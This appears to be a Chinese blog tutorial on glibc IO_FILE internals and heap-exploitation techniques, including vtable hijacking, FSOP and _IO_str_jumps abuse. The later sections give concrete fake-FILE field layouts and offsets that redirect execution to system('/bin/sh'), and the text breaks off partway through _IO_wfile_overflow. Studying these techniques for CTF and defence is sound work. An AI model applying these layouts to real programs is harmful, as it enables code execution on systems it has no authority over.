IO FILE 漏洞

IO结构体

_IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

在gdb中可以通过p &((struct _IO_FILE_plus*)0)->vtable来计算出vtable的偏移地址。在glibc 2.23版本中32位的偏移是0x94,64位的偏移是0xd8。

接下来看看这个_IO_jump_t结构体。


_IO_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
struct _IO_FILE
{
int _flags;
#define _IO_file_flags _flags
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
_IO_off_t _old_offset;
#define __HAVE_COLUMN
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
#else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
#endif
size_t __pad5;
int _mode;
char _unused2[15 * sizeof(int) - 4 * sizeof(void *) - sizeof(size_t)];
#endif
};

进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头是_IO_list_all。

每个程序启动时会自动打开stdin、stdout、stderr三个文件,顺序为_IO_list_all → stderr → stdout →stdin。值得注意的是,这三个文件流是位于libc.so的数据段上的,而我们fopen打开的文件流是在堆内存上的。

事实上_IO_FILE外还包着一层结构体,那就是下面要说的_IO_FILE_plus。


_IO_wide_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct _IO_wide_data
{
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

_IO_jump_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

这里用TYPE定义的一大堆NAME其实都是函数。这里定义的_IO_jump_t是一个结构体类型,真正使用的是定义在libio/vtables.c的_IO_jump_t实例里


标准IO库函数

fread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define fread(p, m, n, s) _IO_fread(p, m, n, s)

_IO_size_t _IO_fread(void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE(fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock(fp);
bytes_read = _IO_sgetn(fp, (char *)buf, bytes_requested);
_IO_release_lock(fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def(_IO_fread)

各参数的含义:

  • buf 存放读取数据的缓冲区
  • size 指定每个记录的长度
  • count 指定记录的个数
  • fp 目标文件流
  • 返回值 读取到缓冲区的记录个数

通过上面的代码我们可以看到,实际上进行读取的函数是_IO_sgetn,那我们可以看看源码

1
2
3
4
5
6
7
_IO_size_t _IO_sgetn(_IO_FILE *fp, void *data, _IO_size_t n)
{
return _IO_XSGETN(fp, data, n);
}
libc_hidden_def(_IO_sgetn)

#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)

即调用了vtable中的__xsgetn,默认情况下__xsgetn = _IO_file_xsgetn


fwrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define fwrite(p, m, n, s) _IO_fwrite (p, m, n, s)

_IO_size_t _IO_fwrite(const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t request = size * count;
_IO_size_t written = 0;
CHECK_FILE(fp, 0);
if (request == 0)
return 0;
_IO_acquire_lock(fp);
if (_IO_vtable_offset(fp) != 0 || _IO_fwide(fp, -1) == -1)
written = _IO_sputn(fp, (const char *)buf, request);
_IO_release_lock(fp);
if (written == request || written == EOF)
return count;
else
return written / size;
}
libc_hidden_def(_IO_fwrite)

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)

各参数的含义:

  • buf 要写入数据的地址
  • size 要写入内容的单字节数
  • count 要进行写入size字节的数据项的个数
  • fp 目标文件指针
  • 返回值 实际写入数据项个数

函数的调用方式与fread略有不同,但最后都是调用vtable里的函数

默认情况下__xsputn = _IO_new_file_xsputn

而在_IO_new_file_xsputn中会调用同样位于vtable的函数_IO_OVERFLOW

1
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

fopen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#define fopen(fname, mode) _IO_new_fopen(fname, mode)

_IO_new_fopen(const char *filename, const char *mode)
{
return __fopen_internal(filename, mode, 1);
}

_IO_FILE *__fopen_internal(const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *)malloc(sizeof(struct locked_FILE));

if (new_f == NULL)
return NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
_IO_no_init(&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
#else
_IO_no_init(&new_f->fp.file, 1, 0, NULL, NULL);
#endif
_IO_JUMPS(&new_f->fp) = &_IO_file_jumps;
_IO_file_init(&new_f->fp);
#if !_IO_UNIFIED_JUMPTABLES
new_f->fp.vtable = NULL;
#endif
if (_IO_file_fopen((_IO_FILE *)new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap(&new_f->fp.file);

_IO_un_link(&new_f->fp);
free(new_f);
return NULL;
}

各参数的含义:

  • filename 目标文件的路径和文件名
  • mode 打开方式的类型
  • 返回值 返回一个文件指针

*new_f = (struct locked_FILE *)malloc(sizeof(struct locked_FILE));可知新的FILE结构是分配在堆上的。

1
#define _IO_JUMPS(THIS) (THIS)->vtable

_IO_JUMPS(&new_f->fp) = &_IO_file_jumps; 对vtable进行初始化

_IO_file_init(&new_f->fp); 对file进行初始化,其中包含,将文件链入链表的操作_IO_link_in

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# define _IO_new_file_init _IO_file_init

void _IO_new_file_init(struct _IO_FILE_plus *fp)
{
fp->file._offset = _IO_pos_BAD;
fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;
_IO_link_in(fp);
fp->file._fileno = -1;
}
libc_hidden_ver(_IO_new_file_init, _IO_file_init)

void _IO_link_in(struct _IO_FILE_plus *fp)
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED; // 标记
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg(flush_cleanup);
_IO_lock_lock(list_all_lock);
run_fp = (_IO_FILE *)fp;
_IO_flockfile((_IO_FILE *)fp);
#endif
fp->file._chain = (_IO_FILE *)_IO_list_all; // 入链
_IO_list_all = fp;
++_IO_list_all_stamp;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile((_IO_FILE *)fp);
run_fp = NULL;
_IO_lock_unlock(list_all_lock);
_IO_cleanup_region_end(0);
#endif
}
}
libc_hidden_def(_IO_link_in)

最后使用_IO_file_fopen打开文件(源码太长我就不贴了,也没必要贴)

1
#define _IO_new_file_fopen _IO_file_fopen

返回的是_IO_FILE指针,__fopen_maybe_mmap(fp)直接当成return fp;就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_IO_FILE *__fopen_maybe_mmap(_IO_FILE *fp)
{
#ifdef _G_HAVE_MMAP
if ((fp->_flags2 & _IO_FLAGS2_MMAP) && (fp->_flags & _IO_NO_WRITES))
{
if (fp->_mode <= 0)
_IO_JUMPS_FILE_plus(fp) = &_IO_file_jumps_maybe_mmap;
else
_IO_JUMPS_FILE_plus(fp) = &_IO_wfile_jumps_maybe_mmap;
fp->_wide_data->_wide_vtable = &_IO_wfile_jumps_maybe_mmap;
}
#endif
return fp;
}

fclose

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#define fclose(fp) _IO_new_fclose (fp)

int _IO_new_fclose(_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT(libc, GLIBC_2_0, GLIBC_2_1)
if (_IO_vtable_offset(fp) != 0)
return _IO_old_fclose(fp);
#endif
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link((struct _IO_FILE_plus *)fp);
_IO_acquire_lock(fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it(fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock(fp);
_IO_FINISH(fp);
if (fp->_mode > 0)
{
#if _LIBC
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock(__gconv_lock);
__gconv_release_step(cc->__cd_in.__cd.__steps);
__gconv_release_step(cc->__cd_out.__cd.__steps);
__libc_lock_unlock(__gconv_lock);
#endif
}
else
{
if (_IO_have_backup(fp))
_IO_free_backup_area(fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
  • fp 需要关闭的文件流
1
2
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);

首先调用_IO_un_link函数将file文件脱链,该函数源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void _IO_un_link(struct _IO_FILE_plus *fp)
{
if (fp->file._flags & _IO_LINKED)
{
struct _IO_FILE **f;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg(flush_cleanup);
_IO_lock_lock(list_all_lock);
run_fp = (_IO_FILE *)fp;
_IO_flockfile((_IO_FILE *)fp);
#endif
if (_IO_list_all == NULL)
;
else if (fp == _IO_list_all)
{
_IO_list_all = (struct _IO_FILE_plus *)_IO_list_all->file._chain;
++_IO_list_all_stamp;
}
else
for (f = &_IO_list_all->file._chain; *f; f = &(*f)->_chain)
if (*f == (_IO_FILE *)fp)
{
*f = fp->file._chain;
++_IO_list_all_stamp;
break;
}
fp->file._flags &= ~_IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile((_IO_FILE *)fp);
run_fp = NULL;
_IO_lock_unlock(list_all_lock);
_IO_cleanup_region_end(0);
#endif
}
}
libc_hidden_def(_IO_un_link)

然后使用_IO_file_close_it函数将文件关闭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# define _IO_new_file_close_it _IO_file_close_it

int _IO_new_file_close_it(_IO_FILE *fp)
{
int write_status;
if (!_IO_file_is_open(fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0 && (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush(fp);
else
write_status = 0;
_IO_unsave_markers(fp);
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE(fp)
: 0);
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
if (fp->_mode > 0)
{
if (_IO_have_wbackup(fp))
_IO_free_wbackup_area(fp);
_IO_wsetb(fp, NULL, NULL, 0);
_IO_wsetg(fp, NULL, NULL, NULL);
_IO_wsetp(fp, NULL, NULL);
}
#endif
_IO_setb(fp, NULL, NULL, 0);
_IO_setg(fp, NULL, NULL, NULL);
_IO_setp(fp, NULL, NULL);
_IO_un_link((struct _IO_FILE_plus *)fp);
fp->_flags = _IO_MAGIC | CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1;
fp->_offset = _IO_pos_BAD;
return close_status ? close_status : write_status;
}
libc_hidden_ver(_IO_new_file_close_it, _IO_file_close_it)

最后调用了位于vtable里的_IO_FINISH (fp);函数

1
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)

默认情况下它指向_IO_file_finish函数

1
2
3
4
5
6
7
8
9
10
11
12
13
# define _IO_new_file_finish _IO_file_finish

void _IO_new_file_finish(_IO_FILE *fp, int dummy)
{
if (_IO_file_is_open(fp))
{
_IO_do_flush(fp);
if (!(fp->_flags & _IO_DELETE_DONT_CLOSE))
_IO_SYSCLOSE(fp);
}
_IO_default_finish(fp, 0);
}
libc_hidden_ver(_IO_new_file_finish, _IO_file_finish)

其中_IO_default_finish中调用了free函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void _IO_default_finish(_IO_FILE *fp, int dummy)
{
struct _IO_marker *mark;
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
{
free(fp->_IO_buf_base);
fp->_IO_buf_base = fp->_IO_buf_end = NULL;
}
for (mark = fp->_markers; mark != NULL; mark = mark->_next)
mark->_sbuf = NULL;
if (fp->_IO_save_base)
{
free(fp->_IO_save_base);
fp->_IO_save_base = NULL;
}
_IO_un_link((struct _IO_FILE_plus *)fp);
#ifdef _IO_MTSAFE_IO
if (fp->_lock != NULL)
_IO_lock_fini(*fp->_lock);
#endif
}
libc_hidden_def(_IO_default_finish)

fflush

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int _IO_fflush(FILE *fp)
{
if (fp == NULL)
return _IO_flush_all();
else
{
int result;
CHECK_FILE(fp, EOF);
_IO_acquire_lock(fp);
result = _IO_SYNC(fp) ? EOF : 0;
_IO_release_lock(fp);
return result;
}
}
libc_hidden_def(_IO_fflush)
weak_alias(_IO_fflush, fflush)
libc_hidden_weak(fflush)

int _IO_flush_all(void)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg(flush_cleanup);
_IO_lock_lock(list_all_lock);
#endif
for (fp = (FILE *)_IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile(fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))) && _IO_OVERFLOW(fp, EOF) == EOF)
result = EOF;
_IO_funlockfile(fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock(list_all_lock);
_IO_cleanup_region_end(0);
#endif
return result;
}
libc_hidden_def(_IO_flush_all)

触发_IO_OVERFLOW函数

伪造vtable劫持程序流程

vtable劫持分两种:

  • 直接改写vtable中的函数指针,通过任意地址写就可以实现
  • 覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针

在glibc2.23及以前,可以直接向fp指向的位置写入sh,不存在任何检测


FSOP(File Stream Oriented Programming)

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE

FSOP 的触发方法是调用_IO_flush_all_lockp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// /libio/genops.c

int _IO_flush_all_lockp(int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start(do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock(list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *)_IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile(fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
#endif
) &&
_IO_OVERFLOW(fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile(fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
fp = (_IO_FILE *)_IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock(list_all_lock);
__libc_cleanup_region_end(0);
#endif
return result;
}

这个函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow

总结:FSOP 利用的条件

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base
  • 能够调用_IO_flush_all_lockp
    • 执行 libc 中 abort 流程
      abort() -> _IO_flush_all_lockp()
    • 执行 exit 函数
      exit() -> __run_exit_handlers() -> _IO_cleanup() -> _IO_flush_all_lockp()
    • 执行流从 main 函数返回
      main() -> exit() -> __run_exit_handlers() -> _IO_cleanup() -> _IO_flush_all_lockp()

你可能会感到疑惑,在__run_exit_handlers()代码里,并没有看到之前提到的 _IO_cleanup()_IO_flush_all_lockp() 的字样,它们到底在哪里?

实际上,在 exit 的流程中,_IO_cleanup 是通过 RUN_HOOK 或者 atexit 注册机制 被间接调用的。


glibc 2.24 下IO_FILE的利用

  • glibc 2.24的安全更新

    glibc 2.24 引入了 IO_validate_vtable函数,它会检查 vtable指针是否位于合法的 __libc_IO_vtables段内。如果不在合法范围内,会调用 _IO_vtable_check进行进一步检查,通常导致程序终止。这使得直接伪造一个不在合法段的 vtable变得困难

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    void attribute_hidden _IO_vtable_check(void)
    {
    #ifdef SHARED
    void (*flag)(void) = atomic_load_relaxed(&IO_accept_foreign_vtables);
    #ifdef PTR_DEMANGLE
    PTR_DEMANGLE(flag);
    #endif
    if (flag == &_IO_vtable_check)
    return;
    {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL || (_dl_addr(_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE))
    return;
    }
    #else
    if (__dlopen != NULL)
    return;
    #endif
    __libc_fatal("Fatal error: glibc detected an invalid stdio handle\n");
    }

    static inline const struct _IO_jump_t *IO_validate_vtable(const struct _IO_jump_t *vtable)
    {
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
    const char *ptr = (const char *)vtable;
    uintptr_t offset = ptr - __start___libc_IO_vtables;
    if (__glibc_unlikely(offset >= section_length))
    _IO_vtable_check();
    return vtable;
    }

    在_IO_vtable_check中,如果vtable是非法的,那么会引发abort。

    因此,直接在vtable中写入需要的函数指针不太可能,因此我们在只能在其它检查范围以外的位置伪造函数指针。

    • 具有漏洞函数的虚表

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      const struct _IO_jump_t __io_vtables[] attribute_relro =
      {
      /* _IO_str_jumps */
      [IO_STR_JUMPS] =
      {
      JUMP_INIT_DUMMY,
      JUMP_INIT (finish, _IO_str_finish),
      JUMP_INIT (overflow, _IO_str_overflow),
      JUMP_INIT (underflow, _IO_str_underflow),
      JUMP_INIT (uflow, _IO_default_uflow),
      JUMP_INIT (pbackfail, _IO_str_pbackfail),
      JUMP_INIT (xsputn, _IO_default_xsputn),
      JUMP_INIT (xsgetn, _IO_default_xsgetn),
      JUMP_INIT (seekoff, _IO_str_seekoff),
      JUMP_INIT (seekpos, _IO_default_seekpos),
      JUMP_INIT (setbuf, _IO_default_setbuf),
      JUMP_INIT (sync, _IO_default_sync),
      JUMP_INIT (doallocate, _IO_default_doallocate),
      JUMP_INIT (read, _IO_default_read),
      JUMP_INIT (write, _IO_default_write),
      JUMP_INIT (seek, _IO_default_seek),
      JUMP_INIT (close, _IO_default_close),
      JUMP_INIT (stat, _IO_default_stat),
      JUMP_INIT (showmanyc, _IO_default_showmanyc),
      JUMP_INIT (imbue, _IO_default_imbue)
      },
      ...
      /* _IO_wfile_jumps */
      [IO_WFILE_JUMPS] = {
      JUMP_INIT_DUMMY,
      JUMP_INIT (finish, _IO_new_file_finish),
      JUMP_INIT (overflow, (_IO_overflow_t) _IO_wfile_overflow), // pwn
      JUMP_INIT (underflow, (_IO_underflow_t) _IO_wfile_underflow),
      JUMP_INIT (uflow, (_IO_underflow_t) _IO_wdefault_uflow),
      JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
      JUMP_INIT (xsputn, _IO_wfile_xsputn),
      JUMP_INIT (xsgetn, _IO_file_xsgetn),
      JUMP_INIT (seekoff, _IO_wfile_seekoff),
      JUMP_INIT (seekpos, _IO_default_seekpos),
      JUMP_INIT (setbuf, _IO_new_file_setbuf),
      JUMP_INIT (sync, (_IO_sync_t) _IO_wfile_sync),
      JUMP_INIT (doallocate, _IO_wfile_doallocate), // pwn
      JUMP_INIT (read, _IO_file_read),
      JUMP_INIT (write, _IO_new_file_write),
      JUMP_INIT (seek, _IO_file_seek),
      JUMP_INIT (close, _IO_file_close),
      JUMP_INIT (stat, _IO_file_stat),
      JUMP_INIT (showmanyc, _IO_default_showmanyc),
      JUMP_INIT (imbue, _IO_default_imbue)
      },
      ...
      }

fileno与缓冲区利用技术

在_IO_FILE 中_IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。

_IO_str_jumps → _IO_str_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};

struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int _IO_str_overflow(_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t)(_IO_blen(fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF)
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen(fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
***new_buf = (char *)(*((_IO_strfile *)fp)->_s._allocate_buffer)(new_size);***
...
}
}
...
return c;
}
libc_hidden_def(_IO_str_overflow)

我们可以通过上面加粗的语句来劫持程序流程,前提是满足以下条件

  • fp->_flags & _IO_NO_WRITES 为假,(fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING) 为假。
  • (fp->_IO_write_ptr - fp->_IO_write_base) >= (_IO_size_t)(_IO_blen(fp) + flush_only) 为真
  • fp->_flags & _IO_USER_BUF 为假
  • new_size < old_blen 为假
    • 一般会通过,即通常old_blen + 100 ≥ 0
    • 其中old_blen = fp->_IO_buf_end - fp->_IO_buf_base 确保其为正值即可

由于下面的_IO_strfile结构体一般和_IO_FILE位于同一可写的内存位置,所以可以控制调用的函数地址

通过p &((struct *IO_strfile* *)0)->_s._allocate_buffer可以获得需要攻击的偏移通常为0xe0

(高版本的命令为p &((struct *IO_strfile* *)0)->_s._allocate_buffer_unused,偏移也为0xe0)

  • fp+0xe0指向system地址
  • new_size指向/bin/sh字符串地址

构造如下

1
2
3
4
5
6
7
8
9
10
11
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_addr - 100) / 2 + 1
_IO_buf_end = (binsh_addr - 100) / 2

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps-0x18
fp + 0xe0 -> system_addr

_IO_str_jumps → _IO_str_finish

1
2
3
4
5
6
7
void _IO_str_finish(_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *)fp)->_s._free_buffer)(fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish(fp, 0);
}

需要满足的条件不多:

  • fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF) 为真

构造如下

1
2
3
4
5
6
7
8
9
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_finish-0x18
fp + 0xe8 -> system_addr

_IO_wfile_jumps→ _IO_wfile_overflow

这是House of Apple 2常用的漏洞利用链,接下来看看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
wint_t _IO_wfile_overflow(FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES)
{
f->_flags |= _IO_ERR_SEEN;
__set_errno(EBADF);
return WEOF;
}
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
if (f->_wide_data->_IO_write_base == 0)
{
***_IO_wdoallocbuf(f);***
_IO_free_wbackup_area(f);
_IO_wsetg(f, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

if (f->_IO_write_base == NULL)
{
_IO_doallocbuf(f);
_IO_setg(f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
else
{
if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end)
{
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr = f->_wide_data->_IO_buf_base;
}
}
f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr;
f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr;
f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end;
f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr = f->_wide_data->_IO_read_end;

f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr;
}
if (wch == WEOF)
return _IO_do_flush(f);
if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end)
if (_IO_do_flush(f) == EOF)
return WEOF;
*f->_wide_data->_IO_write_ptr++ = wch;
